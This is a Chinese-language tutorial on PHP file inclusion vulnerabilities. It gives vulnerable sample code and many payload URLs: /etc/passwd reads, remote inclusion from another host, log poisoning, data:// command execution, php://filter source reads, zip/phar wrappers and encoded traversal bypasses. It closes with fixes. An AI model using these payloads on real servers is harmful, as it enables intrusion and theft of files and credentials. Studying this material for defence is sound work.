文件包含漏洞

文件包含漏洞

严格来说,文件包含漏洞是“代码注入”的一种,这种攻击其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。

常见的导致文件包含(文件读取)的函数如下

PHP:

include():使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。

require():使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。

require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

测试代码:

<?php
	$file = $_GET['file'];
	include $file;
?>

同目录下有一个phpinfo.txt文件(内容为<?php phpinfo();?>)

JSP/servlet:ava.io.File(),java.io.File-eReader()等等

ASP:include file,include virtual等等。

文件包含有两种
本地文件包含、远程文件包含 (即加载远程文件,在php.ini中开启allow_url_include、allow_url_fopen选项。开启后可以直接执行任意代码。)

漏洞成因:

程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一些恶意文件,造成文件包含漏洞。

  1. 具有相关的文件包含函数。
  2. 文件包含函数中存在动态变量,比如 include $file;
  3. 攻击者能够控制该变量,比如$file = $_GET['file'];

 

PHP文件包含利用:

在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。

 

结合文件包含 

用法跟其他的一样,不过得知道文件在哪叫啥

 

读取敏感文件:

访问:http://www.test.com/index.php?test=/etc/passwd,如果目标主机存在该文件,并且具有读权限,那么就可以读出文件内容。

 

远程包含shell:

  1. allow_url_fopen = On
  2. allow_url_include = On

在远程文件http://10.60.17.60里写入测试代码。
<?php fputs(fopen("text.php", "w"), "<?php phpinfo(); ?>") ?>

  访问http://127.0.0.1/123.php?file=http://10.60.17.46/phpinfo.php:将会在网站根目录下生成text.php文件,内容就是:"<?php phpinfo(); ?>"

 

图片上传并包含图片shell:

利用方法和上面的一样,只是这次是本地包含,直接在上传的图片中写入测试代码并访问图片地址即可。

 

SSH log

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

之后会提示输入密码等等,随便输入。

然后在remotehost的ssh-log中即可写入php代码:

之后进行文件包含即可。

 

包含日志文件GetShell:

利用条件:需要知道服务器日志的存储路径,且日志文件可读。

既然存在文件包含漏洞就可以利用漏洞读取apache的配置文件找到日志文件的位置。(默认:包含日志文件GetShell)

利用:

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改

正常的php代码已经写入了 /var/log/apache2/access.log。然后进行包含即可。

在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。

 

长度截断:

利用条件: php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./

index.php?file=././././。。。省略。。。././shell.txt

 

0字节截断包含:

利用条件: php版本 < php 5.3.4

<?php
	$file = $_GET['file'];
	include $file.'/tasdas/asd.php';
?>
http://127.0.0.1/123.php?file=phpinfo.txt%00

正常上传图片一句话并访问:http://test.com/index.php?test=1.jpg会出错,因为包含文件里面不存在1.jpg.php这个文件,但是如果输入http://test.com/index.php?test=1.jpg%00,就极有可能会绕过检测。这种方法只适用于php.ini中magic_quotes_qpc=off并且PHP版本小于5.3.4的情况。如果为on,%00会被转义,以至于无法截断。

 

伪协议

PHP伪协议其实就是PHP支持的协议和封装的协议,

file: — 访问本地文件系统
http: — 访问 HTTP(s) 网址
ftp: — 访问 FTP(s) URLs
php: — 访问各个输入/输出流(I/O streams)【php://stdin 是只读的, php://stdout 和 php://stderr 是只写的】
zlib: — 压缩流
data: — 数据(RFC 2397)
glob: — 查找匹配的文件路径模式
phar: — PHP 归档
ssh2: — Secure Shell 2
rar: — RAR
ogg: — 音频流
expect: — 处理交互式的流

 

有两个比较重要的配置在php.ini中,allow_url_fopen 和allow_url_include会影响到fopen等等和include等等函数对于伪协议的支持,而allow_url_include依赖allow_url_fopen,所以allow_url_fopen不开启的话,allow_url_include也是无法使用的。

File://

用于访问文件系统。(可用于任意文件执行),在allow_url_fopen 和allow_url_include任何状态下都可以用。

data://

  1. php版本大于等于php5.2
  2. allow_url_fopen = On
  3. allow_url_include = On
http://127.0.0.1/123.php?file=data:text/plain,<?php phpinfo();?>

任意命令执行
http://127.0.0.1/123.php?file=data:text/plain,<?php system('whoami');?>

利用base64编码绕过
http://127.0.0.1/123.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

 加号+的url编码为%2bPD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>

 

 

zip:// -- zlib:// --bzip2:// --zip://

php版本大于等于php5.3.0

构造zip包的方法同phar。

但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。

http://127.0.0.1/123.php?file=zip://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

http://127.0.0.1/123.php?file=zip://phpinfo.zip%23phpinfo.txt

http://127.0.0.1/123.php?file=zip://./phpinfo.zip%23phpinfo.txt

使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件。 

压缩流:在allow_url_fopen 和allow_url_include任何状态下都可以用。

使用方法:

  • http://127.0.0.1/test/1.php?f=zip://./1.zip%231.txt(%23是#)
  • http://127.0.0.1/test/1.php?f=zip:///Applications/MAMP/htdos/test/1.zip%231.txt
  • http://127.0.0.1/test/1.php?f=file=compress.bzip2:///Applications/MAMP/htdos/test/file.jpg
  • http://127.0.0.1/test/1.php?f=file=compress.bzip2://./file.jpg

实验:

http://127.0.0.1/test/1.php?file=zip://D:/soft/phpstudy/WWW/file.jpg%23phpcode.txt

将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件 名为file.zip,如果可以上传zip文件便直接上传,如果不能则将file.zip重命名为file.jpg后上传,其他几种压缩格式也可以这样操作。

 

PHP://phar

php版本大于等于php5.3.0

在网站根目录下有一个phpinfo.txt内容为<?php phpinfo();?>,打包成压缩包后:

使用绝对路径:

http://127.0.0.1/123.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

或者使用相对路径:

http://127.0.0.1/123.php?file=phar://phpinfo.zip/phpinfo.txt

 

PHP://input

  1. allow_url_include = On。

  2. 对allow_url_fopen不做要求。

代表可以访问请求的原始数据,简单来说POST请求下,php://input可以获取到post数据,如果enctype=”multipart/form-data” 的时候 php://input 是无效的。

php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://filter

对allow_url_include 和allow_url_fopen不做要求。

 

在任意文件读取或者getshell会用到这个伪协议。

http://127.0.0.1/123.php?file=php://filter/read=convert.base64-encode/resource=auth.php

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

http://127.0.0.1/123.php?file=php://filter/convert.base64-encode/resource=auth.php

效果跟前面一样,少了read关键字。在绕过一些waf时也许有用。

 

php://filter类似于readfile()、file()、file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

在include函数使用上,经常会造成任意文件读取漏洞,而file_get_contents()和file_put_contents()这样函数下,常常会构成getshell等更严重的漏洞。

php://filter 目标使用以下的参数作为它路径的一部分:

名称            描述

resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。 

read=<读链的筛选列表>     该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表>     该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表>     任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

任意文件读取payload:php://filter/read=convert.base64-encode/resource=upload.php

将upload.php的内容经过convert.base64-encode过滤器输入到当前页面。

php://filter/resource=1.txt

将1.txt的内容不经过过滤器直接作为代码运行。

伪协议用法小结:

 

其他的绕过:

指定前缀

<?php
	$file = $_GET['file'];
	include '/var/www/html/'.$file;
?>

目录遍历

现在在C:\phpStudy\PHPTutorial\phpinfo.txt文件中有php代码<?php phpinfo();?>,则利用../可以进行目录遍历。

http://127.0.0.1/123.php?file=../phpinfo.txt

实际拼接路径为:C:\phpStudy\PHPTutorial\WWW\..\phpinfo.txt即C:\phpStudy\PHPTutorial\phpinfo.txt

 

编码绕过

服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。

利用url编码

../:

  • %2e%2e%2f
  • ..%2f
  • %2e%2e/

..\:

  • %2e%2e%5c
  • ..%5c
  • %2e%2e\

二次编码

../:

  • %252e%252e%252f

..\:

  • %252e%252e%255c

容器/服务器的编码方式

../:

  • ..%c0%af
  • %c0%ae%c0%ae/(java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点))

..\:

  • ..%c1%9c

 

指定后缀

<?php
	$file = $_GET['file'];
	include $file.'/test/test.php';
?>

 

利用协议

测试代码

<?php
	$file = $_GET['file'];
	include $file.'/test/test.php';
?>

 构造压缩包如下:

http://127.0.0.1/1.php?file=zip://C:\phpStudy\PHPTutorial\WWW\test.zip%23test

http://127.0.0.1/1.php?file=phar://C:\phpStudy\PHPTutorial\WWW\test.zip

 

利用zip协议,注意要指定绝对路径

则拼接后为:zip://C:\phpStudy\PHPTutorial\WWW\test%23test/test/test.php

 

 

变量覆盖:

$$导致的变量覆盖,举个例子

$key = 'hello'

$hello = 'world'

echo $$key

输出world

 

extract()导致变量覆盖问题:

extract()使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将当前符号表中创建对应的一个变量。

 

parse_str函数导致的变量覆盖问题:

parse_str()函数用于把查询字符串解析到变量中,如果没有array参数,则由该函数设置的变量将覆盖已经存在的同名变量。

 

 

 

文件包含修复方案:

  1. 禁止远程文件包含: allow_url_include=off

  2. 配置 open_basedir=指定目录,限制访问区域。

  3. 过滤../等特殊符号

  4. 修改Apache日志文件的存放地址

  5. 开启魔术引号 magic_quotes_qpc=on

  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值